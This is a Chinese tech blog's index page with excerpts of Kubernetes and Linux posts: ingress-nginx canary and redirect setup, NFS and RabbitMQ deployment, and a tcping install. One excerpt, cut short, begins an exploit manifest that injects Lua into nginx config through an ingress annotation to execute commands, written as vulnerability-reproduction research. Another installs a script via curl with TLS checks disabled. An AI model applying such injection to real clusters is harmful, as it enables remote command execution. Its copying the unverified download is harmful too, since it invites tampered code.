Myluzh Blog

Strive to become a dream architect.

K8S Ingress-nginx实现金丝雀灰度发布

2023-11-20 myluzh Kubernetes

0x00 Ingress金丝雀发布介绍 Nginx Annotations 支持以下 4 种 Canary 规则: (1)nginx.ingress.kubernetes.io/canary-by-header: 基于 Request Header 的流量切分,适用于灰度发布以及 A/B 测试。当 Request Header 设置为 always时,请求将会被一直发送到 Canary 版本;当 Request Header 设置为 never时,请求不会被发送到 Canary 入口;对于任何其他 Header 值,将忽略 Header,并通过优先级将请求与其他金丝雀规则进行优先级的比较。 (2)nginx.ingress.kubernetes.io/canary-by-header-value: 要匹配的 Request Header 的值,用于通知 Ingress 将请求路由到 Canary Ingress 中指定的服务。当 Request Header 设置为此值时,它将被路由到 Canary 入口。该规则允许用户自定义 Request Header 的值,必须与上一个 annotation (即:canar...

阅读全文>>

标签: k8s nginx Ingress 金丝雀 灰度发布

评论(0) (177)

K8S Ingress-nginx高级用法总结

2023-11-20 myluzh Kubernetes

0x01 Ingress-nginx的域名重定向(Redirect) # 关键配置 #annotations: # nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com/' --- apiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: annotations: nginx.ingress.kubernetes.io/permanent-redirect: 'https://www.baidu.com' name: ingress-xfsh namespace:xfsh spec: rules: - host: ingress.xfsh.com http: paths: - backend: serviceName: ingress-xfsh servicePort: 80 path: / ...

阅读全文>>

标签: k8s kubernetes nginx Ingress

评论(0) (173)

Linux安装tcping

2023-11-20 myluzh Linux

0x01 安装tcping curl -k https://dl.itho.cn/bash/tcping -o /usr/bin/tcping chmod +x /usr/bin/tcping 如果用不了需要安装下依赖 # CentOS yum install -y tcptraceroute bc # Debian/Ubuntu apt-get install -y tcptraceroute bc 0x02 手动安装tcping vim /usr/bin/tcping chmod +x /usr/bin/tcping #!/bin/sh # # tcpping: test response times using TCP SYN packets # URL: http://www.vdberg.org/~richard/tcpping.html # uses tcptraceroute from http://michael.toren.net/code/tcptraceroute/ # (c) 2002-2005 Richard van den Berg <richard@vdberg.org> un...

阅读全文>>

标签: centos tcping

评论(0) (139)

关于K8S nginx-ingress组件任意写入配置进行命令执行漏洞的复现与研究

2023-11-16 myluzh Kubernetes

0x01 开头 这里的ingress一定要是nginx,进行复现的环境k8s版本是1.25,ingress里面参数nginx.ingress.kubernetes.io/rewrite-target,可以任意插入,就尝试插入 lua 代码通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。 0x02 复现 1、exp-ingress.yaml如下 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: ingress-exploit annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/rewrite-target: | execute-command/ last; } location execute-command/ { content_by_lua_block { local handle =...

阅读全文>>

标签: k8s nginx Ingress exp

评论(0) (208)

K8S部署nfs-client-provisioner实现PV自动供给

2023-11-9 myluzh Kubernetes

0x00 介绍 1、NFS-Subdir-External-Provisioner 在Kubernetes中,一个PersistentVolume(PV)只能绑定到一个PersistentVolumeClaim(PVC)。PV和PVC之间是一对一的关系,每个PVC只能绑定到一个PV。 使用支持动态PV和PVC创建的存储插件,您可以为每个PVC动态创建一个独立的PV。这样,每个PVC都有自己的PV,但它们可以共享相同的存储资源。 部署 NFS-Subdir-External-Provisioner 提供动态分配卷,NFS-Subdir-External-Provisioner是一个自动配置卷程序,它使用现有的和已配置的 NFS 服务器来支持通过持久卷声明动态配置 Kubernetes 持久卷。 持久卷被配置为:${namespace}-${pvcName}-${pvName}。 此组件是对 nfs-client-provisioner 的扩展,nfs-client-provisioner 已经不提供更新,且 nfs-client-provisioner 的 Github 仓库已经迁移到 NFS-Subdir-Ex...

阅读全文>>

标签: k8s nfs pv pvc nfs-client-provisioner storageclass

评论(0) (375)

定制RabbitMQ镜像+在K8S集群中部署单节点&多节点RabbitMQ

2023-11-9 myluzh Kubernetes

0x01 定制RabbitMQ镜像 本文章基于DockerHub镜像rabbitmq:3.12.8-management,由于官方镜像没有集成有些插件,需要在镜像中安装插件并重新打包。 rabbitmq_delayed_message_exchange延迟队列插件的安装,rabbitmq 插件下载(官网):https://www.rabbitmq.com/community-plugins.html【根据rabbitmq版本选择对应的插件,web管理页面首页可以查看rabbitmq版本】,手动安装插件教程参考:https://blog.csdn.net/user2025/article/details/105620908 下载完成rabbitmq_delayed_message_exchange-3.12.0.ez后,放到跟dockerfile同一目录,然后使用docker build进行打包。 DockerFile如下: FROM rabbitmq:3.12.8-management ADD ./rabbitmq_delayed_message_exchange-3.12.0.ez /pl...

阅读全文>>

标签: docker k8s dockerfile rabbitmq

评论(0) (292)